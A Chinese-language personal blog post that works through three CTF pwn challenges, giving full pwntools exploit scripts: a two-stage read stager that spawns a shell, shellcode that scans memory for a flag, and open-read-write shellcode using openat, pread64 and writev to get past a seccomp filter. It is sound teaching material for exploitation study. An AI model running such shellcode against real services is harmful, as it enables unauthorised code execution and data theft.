shellcode

今天来分享一下关于shellcode编写技术的一些题目,在此之前,需要你对x86-64的汇编指令,寄存器调用约定,栈有一定了解

先来讲比较简单的ret2shellcode技术

前提条件是NX保护没开,即栈可执行

因此可以直接使用pwntools的一个非常强大的集成功能

1
2
from pwn import *
shellcode = asm(shellcraft.sh())

通常payload是:

1
payload = shellcode + 偏移 + addr_to_shellcode(返回地址)

此时shellcode在栈上,你可能需要先泄露栈地址,当然在本地可以用gdb一眼看出

当然在这方面还有ret2reg,NOP sled等技术,就不展开了(´・ω・`),感兴趣可以自行查阅资料

下面分享一些我遇到的与shellcode编写相关的题目

这些题目普遍与mmap(Memory Map)相关,其是Unix/Linux提供的一种将文件或设备映射到进程虚拟内存空间的机制,使得文件内容可以像操作普通内存一样被访问

先来看第一题

1
2
3
4
5
6
7
8
9
10
11
undefined8 main(EVP_PKEY_CTX *param_1)
{
code *__buf;
init(param_1);
__buf = (code *)mmap((void *)0x114514,0x1000,7,0x22,-1,0);
puts("please input a small function (also after compile)");
read(0,__buf,0x14);
clear();
(*__buf)();
return 0;
}

mmap((void *)0x114514,0x1000,7,0x22,-1,0)怎么理解呢,0x114514代表指定映射的期望地址,但也不一定必须是这儿(xswl),0x1000代表长度,这里是映射一页(4KB),7代表权限为RWX,可读可写可执行,这是关键,后面则表示这是一个纯内存页,不关联任何文件

所以这道题便很好理解了,直接把编写好的shellcode写入buf即可,接下来程序便会直接将其当作函数指针调用,并执行你的shellcode

但是关键点在于buf的长度只有0x14(20),所以我们手动放大一下

首先关于read(0,buf,0x14)的寄存器调用约定,rax存放read的系统调用号0,rdi为第一个调用的寄存器,是fd(0,stdin),rsi第二个,为buf的起始地址,rdx是读取的大小,最后执行syscall,就相当于执行了这么一个读取的指令

要扩大读取范围,我们将rdx修改为0xff(应该够了,注意限制,尽量少用一点字节数),把rsi设置为当前的rip后0x20(大于0x14即可,同样限制一下字节数)的地址,调用syscall,写入shellcode,最后跳转rsi执行即可

我的exp,只用了13字节便成功改写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
import time

context.arch = 'amd64'
context.log_level = 'debug'

p = remote('host',port)
p.recvuntil(b"compile)\n")

stage1 = (
b"\x48\x8d\x35\x20\x00\x00\x00" # lea rsi, [rip+0x20]
b"\xb2\xff" # mov dl, 0xff 只写2字节,极限
b"\x0f\x05" # syscall
b"\xff\xe6" # jmp rsi
)

p.send(stage1)

time.sleep(0.05) # 留一点时间读取shellcode

stage2 = asm(shellcraft.sh())
p.send(stage2.ljust(0xff, b"\x90")) # nop填满buf,避免rubbish

p.interactive()

拿下!

接下来看第二题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
void main(EVP_PKEY_CTX *param_1)
{
int iVar1;
char *__s;
size_t sVar2;
size_t __n;
long lVar3;
undefined8 *puVar4;
long in_FS_OFFSET;
byte bVar5;
undefined8 local_218;
undefined8 local_210;
undefined8 local_208 [63];
undefined8 local_10;

bVar5 = 0;
local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28); # canary
init(param_1); #初始化函数
local_218 = 0;
local_210 = 0;
puVar4 = local_208;
for (lVar3 = 0x3e; lVar3 != 0; lVar3 = lVar3 + -1) {
*puVar4 = 0;
puVar4 = puVar4 + (ulong)bVar5 * -2 + 1;
}
*(undefined1 *)puVar4 = 0;
__s = (char *)read_flag("/flag"); #关键
sVar2 = strlen(__s);
__s[sVar2] = 'H';
__s[sVar2 + 1] = '1';
__s[sVar2 + 2] = -0x40; #xor rax,rax
puts("I forgot the flag.");
puts("Can you find it?");
printf(" > ");
__n = read(0,&local_218,0x200);
if (__n == 0) {
perror("read");
/* WARNING: Subroutine does not return */
exit(1);
}
memcpy(__s + sVar2 + 3,&local_218,__n);
iVar1 = mprotect(__s,0x1000,5); #可执行
if (iVar1 == -1) {
perror("mprotect");
/* WARNING: Subroutine does not return */
exit(1);
}
install_seccomp();
/* WARNING: Could not recover jumptable at 0x0010169d. Too many branches */
/* WARNING: Treating indirect jump as call */
(*(code *)(__s + sVar2))(0,0,0,0,0,0); #执行
return;
}

read_flag函数为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
void * read_flag(char *param_1)
{
int __fd;
void *pvVar1;

__fd = open(param_1,0);
if (__fd < 0) {
perror("Can\'t open flag file: ");
/* WARNING: Subroutine does not return */
exit(1);
}
pvVar1 = mmap((void *)0x0,0x1000,3,2,__fd,0);
if (pvVar1 == (void *)0xffffffffffffffff) {
perror("mmap");
/* WARNING: Subroutine does not return */
exit(1);
}
close(__fd);
return pvVar1;
}

题目逻辑非常清晰,也很贴心,程序先把flag文件的内容直接读到内存里,然后在flag结尾拼接你输入的数据(我们写的shellcode),再把这整块内存改成RX(可执行),最后从flag末尾开始当函数执行你的shellcode,所以解法也是很简单,直接在mmap空间搜索flag{}字符串即可

这里涉及到如何编写汇编

我先直接放一下我写的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *

context.arch = 'amd64'
context.os = 'linux'

io = remote('host',port)

shellcode = asm(r'''
lea rbx, [rip] #加载地址

find_flag:
dec rbx # rbx=rbx-1 循环
cmp dword ptr [rbx], 0x67616c66 # flag字符串
jne find_flag #条件跳转,不是flag继续往前找,注意byte dword qword区别
cmp byte ptr [rbx+4], 0x7b #{ 二次验证
jne find_flag

mov rsi, rbx #到这里已经找到了,先将rsi设置为flag的起始地址
xor rdx, rdx #len先设置为0,读取flag直到}

len_scan:
cmp byte ptr [rsi + rdx], 0x7d #}
je write_flag
inc rdx #rdx=rdx+1
jmp len_scan

write_flag:
inc rdx #加上}
mov rdi, 1 #stdout
mov rax, 1 #write系统调用号
syscall

mov rax, 60 #exit
xor rdi, rdi #rdi=0
syscall #安全退出程序
''')

io.recvuntil(b'> ')
io.send(shellcode)
io.interactive()

直接看注释吧,应该蛮好理解的…

接下来看第三题

1
2
3
4
5
6
7
8
9
10
11
12
undefined8 main(EVP_PKEY_CTX *param_1)
{
code *__buf;

init(param_1);
__buf = (code *)mmap((void *)0x114514,0x1000,7,0x22,-1,0);
puts("please input a orw_plus function (also also after compile)");
read(0,__buf,0x500);
install_seccomp();
(*__buf)();
return 0;
}

题目逻辑和第一题一模一样,不同之处在于开启了seccomp,发现其禁用了execve,open,read,write,sendfile,没招了吗,不,其实还有很多的类似功能的orw供聪明的我们使用,这里我用的是openat,pread64writev

直接看exp吧…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

p = remote('host',port)

shellcode = asm('''
mov rdi, -100 # openat(-100,flag,0,0) 系统调用号 257 在栈上动态构造shellcode 寄存器rdi rsi rdx r10 r8 r9 ...
push 0x67616c66 # flag
mov rsi, rsp
xor rdx, rdx
xor r10, r10
push 257
pop rax
syscall
push rax # pread64(fd,buf,0x100,0) 系统调用号 17 将rax传给rdi作为fd
pop rdi
sub rsp, 0x100 #分配足够的栈空间来读取flag
push rsp
pop rsi
push 0x100
pop rdx
xor r10, r10
push 17
pop rax
syscall
push 1 # writev(1,struct iovec,1) 系统调用号 20 struct iovec len + base*
pop rdi
mov rsi, rsp
push 0x100
push rsi
mov rsi, rsp
push 1
pop rdx
push 20
pop rax
syscall
nop
nop
nop
''')

p.recvuntil(b')')

p.send(shellcode)

p.interactive()

这里解释一下iovec结构体(分散-聚集I/O)

1
2
3
4
5
6
#include <sys/uio.h>

struct iovec {
void *iov_base; // 缓冲区起始地址(用户空间内存)
size_t iov_len; // 缓冲区长度(字节数)
};
1
2
3
4
mov rsi, rsp
push 0x100
push rsi
mov rsi, rsp

这里把rsp保存至rsi,先push 0x100(len)至栈上,再push rsi(flag起始地址)至栈上,这便形成了一个struct iovec,再把rsp(iov_base指针)传给rdi即可

同时,总结一下栈结构

高地址

argc
argv[]
envp[]
auxv[]

返回地址
saved rbp
canary maybe
局部变量
… rsp
低地址

LIFO,push压栈rsp -= 8,pop出栈rsp += 8

感谢阅读…

后面再补充吧…

2026.2.11吐槽:

被lactf的shellcode打败了…

不过

慢慢来吧…


shellcode
https://roxy5201314.github.io/2026/01/02/shellcode/
作者
roxy
发布于
2026年1月2日
更新于
2026年2月11日
许可协议